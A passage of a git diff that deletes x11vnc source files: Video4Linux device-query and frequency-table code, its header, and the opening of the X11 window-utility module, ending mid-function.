- if (v) fprintf(stderr, " contrast: %d\n", v4l1_picture.contrast);
- if (v) fprintf(stderr, " whiteness: %d\n", v4l1_picture.whiteness);
- if (v) fprintf(stderr, " depth: %d\n", v4l1_picture.depth);
- if (v) fprintf(stderr, " palette: %d %s\n", v4l1_picture.palette,
- v4l1_lu_palette(v4l1_picture.palette));
-
- if (ioctl(fd, VIDIOCGWIN, &v4l1_window) == -1) {
- perror("ioctl VIDIOCGWIN");
- if (v) fprintf(stderr, "\n");
- return 0;
- }
- if (v) fprintf(stderr, "v4l-1 window:\n");
- if (v) fprintf(stderr, " x: %d\n", v4l1_window.x);
- if (v) fprintf(stderr, " y: %d\n", v4l1_window.y);
- if (v) fprintf(stderr, " width: %d\n", v4l1_window.width);
- if (v) fprintf(stderr, " height: %d\n", v4l1_window.height);
- if (v) fprintf(stderr, " chromakey: %d\n", v4l1_window.chromakey);
- if (v) fprintf(stderr, "\n");
-
- return 1;
-#else
- if (!fd || !v) {}
- return 0;
-#endif /* V4L_OK */
-
-}
-static int v4l2_query(int fd, int v) {
-#if defined(V4L_OK) && HAVE_V4L2
- unsigned int i;
-
- memset(&v4l2_capability, 0, sizeof(v4l2_capability));
- memset(&v4l2_input, 0, sizeof(v4l2_input));
- memset(&v4l2_tuner, 0, sizeof(v4l2_tuner));
- memset(&v4l2_fmtdesc, 0, sizeof(v4l2_fmtdesc));
- memset(&v4l2_format, 0, sizeof(v4l2_format));
-
- if (v) fprintf(stderr, "\nV4L_2 query:\n");
-#ifdef VIDIOC_QUERYCAP
- if (ioctl(fd, VIDIOC_QUERYCAP, &v4l2_capability) == -1) {
- perror("ioctl VIDIOC_QUERYCAP");
- if (v) fprintf(stderr, "\n");
- return 0;
- }
-#else
- return 0;
-#endif
-
- if (v) fprintf(stderr, "v4l-2 capability:\n");
- if (v) fprintf(stderr, " driver: %s\n", v4l2_capability.driver);
- if (v) fprintf(stderr, " card: %s\n", v4l2_capability.card);
- if (v) fprintf(stderr, " bus_info: %s\n", v4l2_capability.bus_info);
- if (v) fprintf(stderr, " version: %d\n", v4l2_capability.version);
- if (v) fprintf(stderr, " capabilities: %u\n", v4l2_capability.capabilities);
-
- for (i=0; ; i++) {
- memset(&v4l2_input, 0, sizeof(v4l2_input));
- v4l2_input.index = i;
- if (ioctl(fd, VIDIOC_ENUMINPUT, &v4l2_input) == -1) {
- break;
- }
- if (v) fprintf(stderr, " input[%d]: %s\ttype: %d tuner: %d\n",
- i, v4l2_input.name, v4l2_input.type, v4l2_input.tuner);
- }
- if (v4l2_capability.capabilities & V4L2_CAP_TUNER) {
- for (i=0; ; i++) {
- memset(&v4l2_tuner, 0, sizeof(v4l2_tuner));
- v4l2_tuner.index = i;
- if (ioctl(fd, VIDIOC_G_TUNER, &v4l2_tuner) == -1) {
- break;
- }
- if (v) fprintf(stderr, " tuner[%d]: %s\ttype: %d\n",
- i, v4l2_tuner.name, v4l2_tuner.type);
- }
- }
- if (v4l2_capability.capabilities & V4L2_CAP_VIDEO_CAPTURE) {
- for (i=0; ; i++) {
- memset(&v4l2_fmtdesc, 0, sizeof(v4l2_fmtdesc));
- v4l2_fmtdesc.index = i;
- v4l2_fmtdesc.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
-
- if (ioctl(fd, VIDIOC_ENUM_FMT, &v4l2_fmtdesc) == -1) {
- break;
- }
- if (v) fprintf(stderr, " fmtdesc[%d]: %s\ttype: %d"
- " pixelformat: %d\n",
- i, v4l2_fmtdesc.description, v4l2_fmtdesc.type,
- v4l2_fmtdesc.pixelformat);
- }
- v4l2_format.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
- if (ioctl(fd, VIDIOC_G_FMT, &v4l2_format) == -1) {
- perror("ioctl VIDIOC_G_FMT");
- } else {
- if (v) fprintf(stderr, " width: %d\n", v4l2_format.fmt.pix.width);
- if (v) fprintf(stderr, " height: %d\n", v4l2_format.fmt.pix.height);
- if (v) fprintf(stderr, " format: %u %s\n",
- v4l2_format.fmt.pix.pixelformat,
- v4l2_lu_palette(v4l2_format.fmt.pix.pixelformat));
- }
- }
-
- return 1;
-#else
- if (!fd || !v) {}
- return 0;
-#endif /* V4L_OK && HAVE_V4L2 */
-
-}
-
-static int open_dev(char *dev) {
- int dfd = -1;
- if (! dev) {
- return dfd;
- }
- dfd = open(dev, O_RDWR);
- if (dfd < 0) {
- rfbLog("failed to rawfb file: %s O_RDWR\n", dev);
- rfbLogPerror("open");
- dfd = open(dev, O_RDONLY);
- }
- if (dfd < 0) {
- rfbLog("failed to rawfb file: %s\n", dev);
- rfbLog("failed to rawfb file: %s O_RDONLY\n", dev);
- rfbLogPerror("open");
- }
- return dfd;
-}
-
-static char *guess_via_v4l(char *dev, int *fd) {
-#ifdef V4L_OK
- int dfd;
-
- if (*fd < 0) {
- dfd = open_dev(dev);
- *fd = dfd;
- }
- dfd = *fd;
- if (dfd < 0) {
- return NULL;
- }
- if (v4l1_cap < 0) {
- v4l1_cap = v4l1_query(dfd, 1);
- }
- if (v4l2_cap < 0) {
- v4l2_cap = v4l2_query(dfd, 1);
- }
-
- if (v4l2_cap) {
-#if HAVE_V4L2
- int g_w = v4l2_format.fmt.pix.width;
- int g_h = v4l2_format.fmt.pix.height;
- int g_d = 0, g_rev;
-
- if (v4l2_format.fmt.pix.pixelformat) {
- char *str = v4l2_lu_palette(v4l2_format.fmt.pix.pixelformat);
- if (strcmp(str, "unknown")) {
- v4l2_lu_palette_str(str, &g_d, &g_rev);
- }
- }
-
- if (g_w > 0 && g_h > 0 && g_d > 0) {
- char *atparms = (char *) malloc(200);
- char *pal = v4l2_lu_palette(v4l2_format.fmt.pix.pixelformat);
- sprintf(atparms, "%dx%dx%d", g_w, g_h, g_d);
- if (strstr(pal, "RGB555")) {
- strcat(atparms, ":7c00/3e0/1f");
- }
- *fd = dfd;
- return atparms;
- }
-#endif
- }
- if (v4l1_cap) {
- int g_w = v4l1_window.width;
- int g_h = v4l1_window.height;
- int g_d = v4l1_picture.depth;
- int g_rev;
- if (g_d == 0) {
- char *str = v4l1_lu_palette(v4l1_picture.palette);
- if (strcmp(str, "unknown")) {
- v4l1_lu_palette_str(str, &g_d, &g_rev);
- }
- }
-if (0) fprintf(stderr, "v4l1: %d %d %d\n", g_w, g_h, g_d);
- if (g_w > 0 && g_h > 0 && g_d > 0) {
- char *atparms = (char *) malloc(200);
- char *pal = v4l1_lu_palette(v4l1_picture.palette);
- fprintf(stderr, "palette: %s\n", pal);
- sprintf(atparms, "%dx%dx%d", g_w, g_h, g_d);
- if (strstr(pal, "RGB555")) {
- strcat(atparms, ":7c00/3e0/1f");
- }
- *fd = dfd;
- return atparms;
- }
- }
-
- /* failure */
- close(dfd);
- return NULL;
-#else
- if (!dev || !fd) {}
- return NULL;
-#endif
-}
-
-static char *guess_via_v4l_info(char *dev, int *fd) {
- char *atparms, *cmd;
- char line[1024], tmp[] = "/tmp/x11vnc-tmp.XXXXXX";
- FILE *out;
- int tmp_fd, len, rc, curr = 0;
- int g_w = 0, g_h = 0, g_b = 0, mask_rev = 0;
- char *g_fmt = NULL;
-
- if (*fd) {}
-
- /* v4l-info */
- if (no_external_cmds || !cmd_ok("v4l-info")) {
- rfbLog("guess_via_v4l_info: cannot run external "
- "command: v4l-info\n");
- return NULL;
- }
-
- if (strchr(dev, '\'')) {
- rfbLog("guess_via_v4l_info: bad dev string: %s\n", dev);
- return NULL;
- }
-
- tmp_fd = mkstemp(tmp);
- if (tmp_fd < 0) {
- return NULL;
- }
-
- len = strlen("v4l-info")+1+1+strlen(dev)+1+1+1+1+strlen(tmp)+1;
- cmd = (char *) malloc(len);
- rfbLog("guess_via_v4l_info running: v4l-info '%s'\n", dev);
- sprintf(cmd, "v4l-info '%s' > %s", dev, tmp);
-
- close(tmp_fd);
- close_exec_fds();
- rc = system(cmd);
- if (rc != 0) {
- unlink(tmp);
- return NULL;
- }
-
- out = fopen(tmp, "r");
- if (out == NULL) {
- unlink(tmp);
- return NULL;
- }
-
- curr = 0;
- while (fgets(line, 1024, out) != NULL) {
- char *lb = lblanks(line);
- if (strstr(line, "video capture") == line) {
- curr = C_VIDEO_CAPTURE;
- } else if (strstr(line, "picture") == line) {
- curr = C_PICTURE;
- } else if (strstr(line, "window") == line) {
- curr = C_WINDOW;
- }
-
-if (0) fprintf(stderr, "lb: %s", lb);
-
- if (curr == C_VIDEO_CAPTURE) {
- if (strstr(lb, "pixelformat ") == lb) {
- fprintf(stderr, "%s", line);
- } else if (strstr(lb, "fmt.pix.width ") == lb) {
- if (! g_w) {
- g_w = colon_n(line);
- }
- } else if (strstr(lb, "fmt.pix.height ") == lb) {
- if (! g_h) {
- g_h = colon_n(line);
- }
- } else if (strstr(lb, "fmt.pix.pixelformat ") == lb) {
- if (! g_fmt) {
- g_fmt = colon_tag(line);
- }
- }
- } else if (curr == C_PICTURE) {
- if (strstr(lb, "depth ") == lb) {
- if (! g_b) {
- g_b = colon_n(line);
- }
- } else if (strstr(lb, "palette ") == lb) {
- if (! g_fmt) {
- g_fmt = colon_str(line);
- }
- }
- } else if (curr == C_WINDOW) {
- if (strstr(lb, "width ") == lb) {
- if (! g_w) {
- g_w = colon_n(line);
- }
- } else if (strstr(lb, "height ") == lb) {
- if (! g_h) {
- g_h = colon_n(line);
- }
- }
- }
- }
- fclose(out);
- unlink(tmp);
-
- if (! g_w) {
- rfbLog("could not guess device width.\n");
- return NULL;
- }
- rfbLog("guessed device width: %d\n", g_w);
-
- if (! g_h) {
- rfbLog("could not guess device height.\n");
- return NULL;
- }
- rfbLog("guessed device height: %d\n", g_h);
-
- if (g_fmt) {
- rfbLog("guessed pixel fmt: %s\n", g_fmt);
- lookup_rgb(g_fmt, &g_b, &mask_rev);
- }
- if (! g_b) {
- rfbLog("could not guess device bpp.\n");
- return NULL;
- }
- rfbLog("guessed device bpp: %d\n", g_b);
-
- atparms = (char *) malloc(100);
- sprintf(atparms, "%dx%dx%d", g_w, g_h, g_b);
- return atparms;
-}
-
-static void parse_str(char *str, char **dev, char **settings, char **atparms) {
- char *p, *q, *s = NULL;
-
- q = strchr(str, '@');
- if (q && strlen(q+1) > 0) {
- /* ends @WxHXB... */
- *atparms = strdup(q+1);
- *q = '\0';
- }
-
- q = strchr(str, ':');
- if (q && strlen(q+1) > 0) {
- /* ends :br=N,w=N... */
- s = strdup(q+1);
- *settings = s;
- *q = '\0';
- }
-
- if (s != NULL) {
- /* see if fn=filename */
- q = strstr(s, "fn=");
- if (q) {
- q += strlen("fn=");
- p = strchr(q, ',');
- if (p) {
- *p = '\0';
- *dev = strdup(q);
- *p = ',';
- } else {
- *dev = strdup(q);
- }
- rfbLog("set video device to: '%s'\n", *dev);
- }
- }
-
- if (*dev == NULL) {
- struct stat sbuf;
- s = (char *) malloc(strlen("/dev/") + strlen(str) + 2);
- if (strstr(str, "/dev/") == str) {
- sprintf(s, "%s", str);
- } else {
- sprintf(s, "/dev/%s", str);
- }
- rfbLog("Checking existence of '%s'\n", s);
- if (stat(s, &sbuf) != 0) {
- rfbLogPerror("stat");
- strcat(s, "0");
- rfbLog("switching to '%s'\n", s);
- }
- if (stat(s, &sbuf) != 0) {
- rfbLogPerror("stat");
- rfbLog("You will need to specify the video device more explicity.\n");
- }
-
- *dev = s;
- rfbLog("set video device to: '%s'\n", *dev);
- }
-}
-
-char *v4l_guess(char *str, int *fd) {
- char *dev = NULL, *settings = NULL, *atparms = NULL;
-
- parse_str(str, &dev, &settings, &atparms);
-
- init_freqs();
-
- v4l1_cap = -1;
- v4l2_cap = -1;
- *fd = -1;
-
- if (dev == NULL) {
- rfbLog("v4l_guess: could not find device in: %s\n", str);
- return NULL;
- }
-
- if (settings) {
- apply_settings(dev, settings, fd);
- }
-
- if (atparms) {
- /* use user's parameters. */
- char *t = (char *) malloc(5+strlen(dev)+1+strlen(atparms)+1);
- sprintf(t, "snap:%s@%s", dev, atparms);
- return t;
- }
-
- /* try to query the device for parameters. */
- atparms = guess_via_v4l(dev, fd);
- if (atparms == NULL) {
- /* try again with v4l-info(1) */
- atparms = guess_via_v4l_info(dev, fd);
- }
-
- if (atparms == NULL) {
- /* bad news */
- if (*fd >= 0) {
- close(*fd);
- }
- *fd = -1;
- return NULL;
- } else {
- char *t = (char *) malloc(5+strlen(dev)+1+strlen(atparms)+1);
- sprintf(t, "snap:%s@%s", dev, atparms);
- return t;
- }
-}
-
-static unsigned long lookup_freqtab(int sta) {
-
- if (sta >= CHANNEL_MAX) {
- return (unsigned long) sta;
- }
- if (sta < 0 || sta >= CHANNEL_MAX) {
- return 0;
- }
- return custom_freq[sta];
-}
-
-static unsigned long lookup_freq(int sta) {
- if (freqtab) {
- return lookup_freqtab(sta);
- }
- if (sta >= CHANNEL_MAX) {
- return (unsigned long) sta;
- }
- if (sta < 1 || sta > 125) {
- return 0;
- }
- return ntsc_cable[sta];
-}
-
-static int lookup_station(unsigned long freq) {
- int i;
- if (freqtab) {
- for (i = 0; i < CHANNEL_MAX; i++) {
-if (0) fprintf(stderr, "%lu %lu\n", freq, custom_freq[i]);
- if (freq == custom_freq[i]) {
- return i;
- }
- }
- } else {
- for (i = 1; i <= 125; i++) {
- if (freq == ntsc_cable[i]) {
- return i;
- }
- }
- }
- return 0;
-}
-
-static void init_freqtab(char *file) {
- char *p, *q, *dir, *file2;
- char line[1024], inc[1024];
- char *text, *str;
- int size = 0, maxn, extra, currn;
- FILE *in1, *in2;
- static int v = 1;
- if (quiet) {
- v = 0;
- }
-
- /* YUCK */
-
- dir = strdup(file);
- q = strrchr(dir, '/');
- if (q) {
- *(q+1) = '\0';
- } else {
- free(dir);
- dir = strdup("./");
- }
- file2 = (char *) malloc(strlen(dir) + 1024 + 1);
- in1 = fopen(file, "r");
- if (in1 == NULL) {
- rfbLog("error opening freqtab: %s\n", file);
- clean_up_exit(1);
- }
- if (v) fprintf(stderr, "loading frequencies from: %s\n", file);
- while (fgets(line, 1024, in1) != NULL) {
- char *lb;
- char line2[1024];
- size += strlen(line);
- lb = lblanks(line);
- if (strstr(lb, "#include") == lb &&
- sscanf(lb, "#include %s", inc) == 1) {
- char *q, *s = inc;
- if (s[0] == '"') {
- s++;
- }
- q = strrchr(s, '"');
- if (q) {
- *q = '\0';
- }
- sprintf(file2, "%s%s", dir, s);
- in2 = fopen(file2, "r");
- if (in2 == NULL) {
- rfbLog("error opening freqtab include: %s %s\n", line, file2);
- clean_up_exit(1);
- }
- if (v) fprintf(stderr, "loading frequencies from: %s\n", file2);
- while (fgets(line2, 1024, in2) != NULL) {
- size += strlen(line2);
- }
- fclose(in2);
- }
- }
- fclose(in1);
-
- size = 4*(size + 10000);
-
- text = (char *) malloc(size);
-
- text[0] = '\0';
-
- in1 = fopen(file, "r");
- if (in1 == NULL) {
- rfbLog("error opening freqtab: %s\n", file);
- clean_up_exit(1);
- }
- while (fgets(line, 1024, in1) != NULL) {
- char *lb;
- char line2[1024];
- lb = lblanks(line);
- if (lb[0] == '[') {
- strcat(text, lb);
- } else if (strstr(lb, "freq")) {
- strcat(text, lb);
- } else if (strstr(lb, "#include") == lb &&
- sscanf(lb, "#include %s", inc) == 1) {
- char *lb2;
- char *q, *s = inc;
- if (s[0] == '"') {
- s++;
- }
- q = strrchr(s, '"');
- if (q) {
- *q = '\0';
- }
- sprintf(file2, "%s%s", dir, s);
- in2 = fopen(file2, "r");
- if (in2 == NULL) {
- rfbLog("error opening freqtab include: %s %s\n", line, file2);
- clean_up_exit(1);
- }
- while (fgets(line2, 1024, in2) != NULL) {
- lb2 = lblanks(line2);
- if (lb2[0] == '[') {
- strcat(text, lb2);
- } else if (strstr(lb2, "freq")) {
- strcat(text, lb2);
- }
- if ((int) strlen(text) > size/2) {
- break;
- }
- }
- fclose(in2);
- }
- if ((int) strlen(text) > size/2) {
- break;
- }
- }
- fclose(in1);
-
- if (0) fprintf(stderr, "%s", text);
-
- str = strdup(text);
- p = strtok(str, "\n");
- maxn = -1;
- extra = 0;
- while (p) {
- if (p[0] == '[') {
- int ok = 1;
- q = p+1;
- while (*q) {
- if (*q == ']') {
- break;
- }
- if (! isdigit((unsigned char) (*q))) {
- if (0) fprintf(stderr, "extra: %s\n", p);
- extra++;
- ok = 0;
- break;
- }
- q++;
- }
- if (ok) {
- int n;
- if (sscanf(p, "[%d]", &n) == 1) {
- if (n > maxn) {
- maxn = n;
- }
- if (0) fprintf(stderr, "maxn: %d %d\n", maxn, n);
- }
- }
-
- }
- p = strtok(NULL, "\n");
- }
- free(str);
-
- str = strdup(text);
- p = strtok(str, "\n");
- extra = 0;
- currn = 0;
- if (v) fprintf(stderr, "\nname\tstation\tfreq (KHz)\n");
- while (p) {
- if (p[0] == '[') {
- int ok = 1;
- strncpy(line, p, 100);
- q = p+1;
- while (*q) {
- if (*q == ']') {
- break;
- }
- if (! isdigit((unsigned char) (*q))) {
- extra++;
- currn = maxn + extra;
- ok = 0;
- break;
- }
- q++;
- }
- if (ok) {
- int n;
- if (sscanf(p, "[%d]", &n) == 1) {
- currn = n;
- }
- }
- }
- if (strstr(p, "freq") && (q = strchr(p, '=')) != NULL) {
- int n;
- q = lblanks(q+1);
- if (sscanf(q, "%d", &n) == 1) {
- if (currn >= 0 && currn < CHANNEL_MAX) {
- if (v) fprintf(stderr, "%s\t%d\t%d\n", line, currn, n);
- custom_freq[currn] = (unsigned long) n;
- if (last_freq == 0) {
- last_freq = custom_freq[currn];
- }
- }
- }
- }
- p = strtok(NULL, "\n");
- }
- if (v) fprintf(stderr, "\n");
- v = 0;
- free(str);
- free(text);
- free(dir);
- free(file2);
-}
-
-static void init_freqs(void) {
- int i;
- for (i=0; i<CHANNEL_MAX; i++) {
- ntsc_cable[i] = 0;
- custom_freq[i] = 0;
- }
-
- init_ntsc_cable();
- last_freq = ntsc_cable[1];
-
- if (freqtab) {
- init_freqtab(freqtab);
- }
-}
-
-static void init_ntsc_cable(void) {
- ntsc_cable[1] = 73250;
- ntsc_cable[2] = 55250;
- ntsc_cable[3] = 61250;
- ntsc_cable[4] = 67250;
- ntsc_cable[5] = 77250;
- ntsc_cable[6] = 83250;
- ntsc_cable[7] = 175250;
- ntsc_cable[8] = 181250;
- ntsc_cable[9] = 187250;
- ntsc_cable[10] = 193250;
- ntsc_cable[11] = 199250;
- ntsc_cable[12] = 205250;
- ntsc_cable[13] = 211250;
- ntsc_cable[14] = 121250;
- ntsc_cable[15] = 127250;
- ntsc_cable[16] = 133250;
- ntsc_cable[17] = 139250;
- ntsc_cable[18] = 145250;
- ntsc_cable[19] = 151250;
- ntsc_cable[20] = 157250;
- ntsc_cable[21] = 163250;
- ntsc_cable[22] = 169250;
- ntsc_cable[23] = 217250;
- ntsc_cable[24] = 223250;
- ntsc_cable[25] = 229250;
- ntsc_cable[26] = 235250;
- ntsc_cable[27] = 241250;
- ntsc_cable[28] = 247250;
- ntsc_cable[29] = 253250;
- ntsc_cable[30] = 259250;
- ntsc_cable[31] = 265250;
- ntsc_cable[32] = 271250;
- ntsc_cable[33] = 277250;
- ntsc_cable[34] = 283250;
- ntsc_cable[35] = 289250;
- ntsc_cable[36] = 295250;
- ntsc_cable[37] = 301250;
- ntsc_cable[38] = 307250;
- ntsc_cable[39] = 313250;
- ntsc_cable[40] = 319250;
- ntsc_cable[41] = 325250;
- ntsc_cable[42] = 331250;
- ntsc_cable[43] = 337250;
- ntsc_cable[44] = 343250;
- ntsc_cable[45] = 349250;
- ntsc_cable[46] = 355250;
- ntsc_cable[47] = 361250;
- ntsc_cable[48] = 367250;
- ntsc_cable[49] = 373250;
- ntsc_cable[50] = 379250;
- ntsc_cable[51] = 385250;
- ntsc_cable[52] = 391250;
- ntsc_cable[53] = 397250;
- ntsc_cable[54] = 403250;
- ntsc_cable[55] = 409250;
- ntsc_cable[56] = 415250;
- ntsc_cable[57] = 421250;
- ntsc_cable[58] = 427250;
- ntsc_cable[59] = 433250;
- ntsc_cable[60] = 439250;
- ntsc_cable[61] = 445250;
- ntsc_cable[62] = 451250;
- ntsc_cable[63] = 457250;
- ntsc_cable[64] = 463250;
- ntsc_cable[65] = 469250;
- ntsc_cable[66] = 475250;
- ntsc_cable[67] = 481250;
- ntsc_cable[68] = 487250;
- ntsc_cable[69] = 493250;
- ntsc_cable[70] = 499250;
- ntsc_cable[71] = 505250;
- ntsc_cable[72] = 511250;
- ntsc_cable[73] = 517250;
- ntsc_cable[74] = 523250;
- ntsc_cable[75] = 529250;
- ntsc_cable[76] = 535250;
- ntsc_cable[77] = 541250;
- ntsc_cable[78] = 547250;
- ntsc_cable[79] = 553250;
- ntsc_cable[80] = 559250;
- ntsc_cable[81] = 565250;
- ntsc_cable[82] = 571250;
- ntsc_cable[83] = 577250;
- ntsc_cable[84] = 583250;
- ntsc_cable[85] = 589250;
- ntsc_cable[86] = 595250;
- ntsc_cable[87] = 601250;
- ntsc_cable[88] = 607250;
- ntsc_cable[89] = 613250;
- ntsc_cable[90] = 619250;
- ntsc_cable[91] = 625250;
- ntsc_cable[92] = 631250;
- ntsc_cable[93] = 637250;
- ntsc_cable[94] = 643250;
- ntsc_cable[95] = 91250;
- ntsc_cable[96] = 97250;
- ntsc_cable[97] = 103250;
- ntsc_cable[98] = 109250;
- ntsc_cable[99] = 115250;
- ntsc_cable[100] = 649250;
- ntsc_cable[101] = 655250;
- ntsc_cable[102] = 661250;
- ntsc_cable[103] = 667250;
- ntsc_cable[104] = 673250;
- ntsc_cable[105] = 679250;
- ntsc_cable[106] = 685250;
- ntsc_cable[107] = 691250;
- ntsc_cable[108] = 697250;
- ntsc_cable[109] = 703250;
- ntsc_cable[110] = 709250;
- ntsc_cable[111] = 715250;
- ntsc_cable[112] = 721250;
- ntsc_cable[113] = 727250;
- ntsc_cable[114] = 733250;
- ntsc_cable[115] = 739250;
- ntsc_cable[116] = 745250;
- ntsc_cable[117] = 751250;
- ntsc_cable[118] = 757250;
- ntsc_cable[119] = 763250;
- ntsc_cable[120] = 769250;
- ntsc_cable[121] = 775250;
- ntsc_cable[122] = 781250;
- ntsc_cable[123] = 787250;
- ntsc_cable[124] = 793250;
- ntsc_cable[125] = 799250;
-}
-
diff --git a/x11vnc/v4l.h b/x11vnc/v4l.h
deleted file mode 100644
index 1cae722..0000000
--- a/x11vnc/v4l.h
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_V4L_H
-#define _X11VNC_V4L_H
-
-/* -- v4l.h -- */
-extern char *v4l_guess(char *str, int *fd);
-extern void v4l_key_command(rfbBool down, rfbKeySym keysym, rfbClientPtr client);
-extern void v4l_pointer_command(int mask, int x, int y, rfbClientPtr client);
-
-
-#endif /* _X11VNC_V4L_H */
diff --git a/x11vnc/win_utils.c b/x11vnc/win_utils.c
deleted file mode 100644
index 7aa9b4c..0000000
--- a/x11vnc/win_utils.c
+++ /dev/null
@@ -1,771 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- win_utils.c -- */
-
-#include "x11vnc.h"
-#include "xinerama.h"
-#include "winattr_t.h"
-#include "cleanup.h"
-#include "xwrappers.h"
-#include "connections.h"
-#include "xrandr.h"
-#include "macosx.h"
-
-winattr_t *stack_list = NULL;
-int stack_list_len = 0;
-int stack_list_num = 0;
-
-
-Window parent_window(Window win, char **name);
-int valid_window(Window win, XWindowAttributes *attr_ret, int bequiet);
-Bool xtranslate(Window src, Window dst, int src_x, int src_y, int *dst_x,
- int *dst_y, Window *child, int bequiet);
-int get_window_size(Window win, int *w, int *h);
-void snapshot_stack_list(int free_only, double allowed_age);
-int get_boff(void);
-int get_bwin(void);
-void update_stack_list(void);
-Window query_pointer(Window start);
-unsigned int mask_state(void);
-int pick_windowid(unsigned long *num);
-Window descend_pointer(int depth, Window start, char *name_info, int len);
-void id_cmd(char *cmd);
-
-
-Window parent_window(Window win, char **name) {
-#if !NO_X11
- Window r, parent;
- Window *list;
- XErrorHandler old_handler;
- unsigned int nchild;
- int rc;
-#endif
-
- if (name != NULL) {
- *name = NULL;
- }
- RAWFB_RET(None)
-#if NO_X11
- nox11_exit(1);
- if (!name || !win) {}
- return None;
-#else
-
- old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
- rc = XQueryTree_wr(dpy, win, &r, &parent, &list, &nchild);
- XSetErrorHandler(old_handler);
-
- if (! rc || trapped_xerror) {
- trapped_xerror = 0;
- return None;
- }
- trapped_xerror = 0;
-
- if (list) {
- XFree_wr(list);
- }
- if (parent && name) {
- XFetchName(dpy, parent, name);
- }
- return parent;
-#endif /* NO_X11 */
-}
-
-/* trapping utility to check for a valid window: */
-int valid_window(Window win, XWindowAttributes *attr_ret, int bequiet) {
- XWindowAttributes attr, *pattr;
-#if !NO_X11
- XErrorHandler old_handler;
- int ok = 0;
-#endif
-
- if (attr_ret == NULL) {
- pattr = &attr;
- } else {
- pattr = attr_ret;
- }
-
- if (win == None) {
- return 0;
- }
-
-#ifdef MACOSX
- if (macosx_console) {
- return macosx_valid_window(win, attr_ret);
- }
-#endif
-
- RAWFB_RET(0)
-
-#if NO_X11
- nox11_exit(1);
- if (!win || !attr_ret || !bequiet) {}
- return 0;
-#else
-
- old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
- if (XGetWindowAttributes(dpy, win, pattr)) {
- ok = 1;
- }
- if (trapped_xerror && trapped_xerror_event) {
- if (! quiet && ! bequiet) {
- rfbLog("valid_window: trapped XError: %s (0x%lx)\n",
- xerror_string(trapped_xerror_event), win);
- }
- ok = 0;
- }
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
-
- return ok;
-#endif /* NO_X11 */
-}
-
-Bool xtranslate(Window src, Window dst, int src_x, int src_y, int *dst_x,
- int *dst_y, Window *child, int bequiet) {
- XErrorHandler old_handler = NULL;
- Bool ok = False;
-
- RAWFB_RET(False)
-#if NO_X11
- nox11_exit(1);
- if (!src || !dst || !src_x || !src_y || !dst_x || !dst_y || !child || !bequiet) {}
- if (!old_handler || !ok) {}
- return False;
-#else
-
- trapped_xerror = 0;
- old_handler = XSetErrorHandler(trap_xerror);
- if (XTranslateCoordinates(dpy, src, dst, src_x, src_y, dst_x,
- dst_y, child)) {
- ok = True;
- }
- if (trapped_xerror && trapped_xerror_event) {
- if (! quiet && ! bequiet) {
- rfbLog("xtranslate: trapped XError: %s (0x%lx)\n",
- xerror_string(trapped_xerror_event), src);
- }
- ok = False;
- }
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
-
- return ok;
-#endif /* NO_X11 */
-}
-
-int get_window_size(Window win, int *w, int *h) {
- XWindowAttributes attr;
- /* valid_window? */
- if (valid_window(win, &attr, 1)) {
- *w = attr.width;
- *h = attr.height;
- return 1;
- } else {
- return 0;
- }
-}
-
-/*
- * For use in the -wireframe stuff, save the stacking order of the direct
- * children of the root window. Ideally done before we send ButtonPress
- * to the X server.
- */
-void snapshot_stack_list(int free_only, double allowed_age) {
- static double last_snap = 0.0, last_free = 0.0;
- double now;
- int num, rc, i, j;
- unsigned int ui;
- Window r, w;
- Window *list;
-
- if (! stack_list) {
- stack_list = (winattr_t *) malloc(256*sizeof(winattr_t));
- stack_list_num = 0;
- stack_list_len = 256;
- }
-
- dtime0(&now);
- if (free_only) {
- /* we really don't free it, just reset to zero windows */
- stack_list_num = 0;
- last_free = now;
- return;
- }
-
- if (stack_list_num && now < last_snap + allowed_age) {
- return;
- }
-
- stack_list_num = 0;
- last_free = now;
-
-#ifdef MACOSX
- if (! macosx_console) {
- RAWFB_RET_VOID
- }
-#else
- RAWFB_RET_VOID
-#endif
-
-#if NO_X11 && !defined(MACOSX)
- num = rc = i = j = 0; /* compiler warnings */
- ui = 0;
